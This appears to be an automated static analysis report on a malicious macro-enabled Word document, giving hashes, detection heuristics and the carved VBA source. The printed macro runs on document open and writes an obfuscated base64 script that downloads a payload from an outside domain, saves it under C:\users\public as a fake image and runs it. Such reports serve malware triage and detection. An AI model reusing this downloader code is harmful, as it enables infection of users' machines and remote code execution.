Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 33fc483101d6f024…

MALICIOUS

Office (OOXML)

75.7 KB Created: 2021-03-24 06:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 84848756ad0b5f617c36f7e69eab6227 SHA-1: 49453cd4a33d0b31f92bb133bddb3a660752f320 SHA-256: 33fc483101d6f024158cb76722c625260f54512a9ad57b1d09ed24e3469c12f3
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set memGlobalLoad = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set memGlobalLoad = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4860 bytes
SHA-256: 05c270edd2ba62504b2404c271762139979350479c3e78573966da93d406eae4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{3CBAC88E-AFDB-4CAD-86AF-36A73C0AF414}{6D90F51B-4FD1-4B2C-9651-4CC174423DAA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set memGlobalLoad = CreateObject("wscript.shell")
memGlobalLoad.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "sizeVariableBorder"
Sub autoopen()
trustStructMain
End Sub
Sub trustStructMain()
Dim windowReferenceW As String
windowReferenceW = frm.cmdButton1.caption
argumentDeleteCaption windowReferenceW
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "referenceVariableOption"
Function argumentIterator()
argumentIterator = "<div id='content'>dmFyIGxpbmtTZWxlY3RMZW4gPSBuZXcgQWN0aXZlWE9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTtsaW5rU2VsZWN0TGVuLm9wZW4oIkdFVCIsICJodHRwOi8vdGF0ZWNyYWRsZS5jb20vZmR2ZGQvc0F5UmRaMWlVeFVGU0VpYVhsTXh2NHNZbE1WY1BYL096NnFENnVtN3UyWERlUnMwaHZ5QjYvZkZmV2hzMWF5cjFTcD"
End Function
Function procDataClear()
procDataClear = "RraUhreThMRk0vNENyNDA4UXZyWHk1UTlMRmJqZHpWeC94YXIxNT9pZD1iZ1o1RGVMNmNWTng2OSZpZD1oNiIsIGZhbHNlKTtsaW5rU2VsZWN0TGVuLnNlbmQoKTtpZihsaW5rU2VsZWN0TGVuLnN0YXR1cyA9PSAyMDApe3ZhciBsaXN0VHJ1c3QgPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIik7bGlzdFRydXN0Lm9wZW47bG"
End Function
Function selectRequestNamespace()
selectRequestNamespace = "lzdFRydXN0LnR5cGUgPSAxO2xpc3RUcnVzdC53cml0ZShsaW5rU2VsZWN0TGVuLnJlc3BvbnNlYm9keSk7bGlzdFRydXN0LnNhdmV0b2ZpbGUoImM6XFx1c2Vyc1xccHVibGljXFx3aW5kb3dTdG9yYWdlLmpwZyIsIDIpO2xpc3RUcnVzdC5jbG9zZTt9|fXspZXVsYVZrbmlMYmlsKGhjdGFjfTspImF0aC5uaWFtXFxjaWxidXBcXHNyZXN1X"
End Function
Function dataGeneric()
dataGeneric = "Fw6YyIoZWxpZmV0ZWxlZC5rbmlMeG9idHNpTHNzYWxje3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBIHdlbiA9IGtuaUx4b2J0c2lMc3NhbGMgcmF2OykiZ3BqLmVnYXJvdFN3b2RuaXdcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBI"
End Function
Function ptrLeft()
ptrLeft = "Hdlbg==</div><div id='table'>0123456789+/</div><script language='javascript'>buttonVariable = window;deleteTrust = document;function mainClass(captionConvertListbox){return(new ActiveXObject(captionConvertListbox));}function table(){var countCopy = 'ABCDEF"
End Function
Function borderPtrMain()
borderPtrMain = "GHIJKLMNOPQRSTUVWXYZ';var databaseStructRequest = countCopy + countCopy.toLowerCase() + deleteTrust.getElementById('table').innerHTML;return(databaseStructRequest);}function collectionArray(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var buf"
End Function
Function ExIterator()
ExIterator = "ferGlobalDelete=''; var w=String.fromCharCode; var L=s.length;var structTrustNamespace = 'charAt';for(i=0;i<64;i++){e[table()[structTrustNamespace](i)]=i;}for(x=0;x<L;x++){c=e[s[structTrustNamespace](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||"
End Function
Function pasteText()
pasteText = "(x<(L-2)))&&(bufferGlobalDelete+=w(a));}}return(bufferGlobalDelete);};function tempMain(referenceMain){return referenceMain.split('').reverse().join('');}buttonVariable.resizeTo(1, 1);buttonVariable.moveTo(-100, -100);var captionClass = deleteTrust.getElem"
End Function
Function clearLenVariable()
clearLenVariable = "entById('content').innerHTML;var captionClass = captionClass.split('|');var funcLocalNamespace = tempMain(collectionArray(captionClass[0]));var funcLocalNamespace = tempMain(funcLocalNamespace);var pointerQueryLen = tempMain(collectionArray(captionClass[1]"
End Function
Function memArgument()
memArgument = "));</script><script language='javascript'>function valueCount(optionNext){var repoReferenceDatabase = mainClass('msscriptcontrol.scriptcontrol');repoReferenceDatabase.Language = 'jscript';repoReferenceDatabase.Timeout = 60000;repoReferenceDatabase.AddCode("
End Function
Function dataCountEx()
dataCountEx = "optionNext);return(null);}</script><script language='vbscript'>valueCount funcLocalNamespace : valueCount pointerQueryLen : buttonVariable.close</script>"
End Function
Function countLen()
countLen = argumentIterator + procDataClear + selectRequestNamespace + dataGeneric + ptrLeft + borderPtrMain + ExIterator + pasteText + clearLenVariable + memArgument + dataCountEx
End Function

Attribute VB_Name = "responseSizeArgument"
Sub argumentDeleteCaption(windowLenGeneric As String)
Open windowLenGeneric For Output As #1
Print #1, countLen
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 2ed76fb9d1301bf4a882d2afe7963015c26ac9f6c669733fe0fdf08657e69500
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

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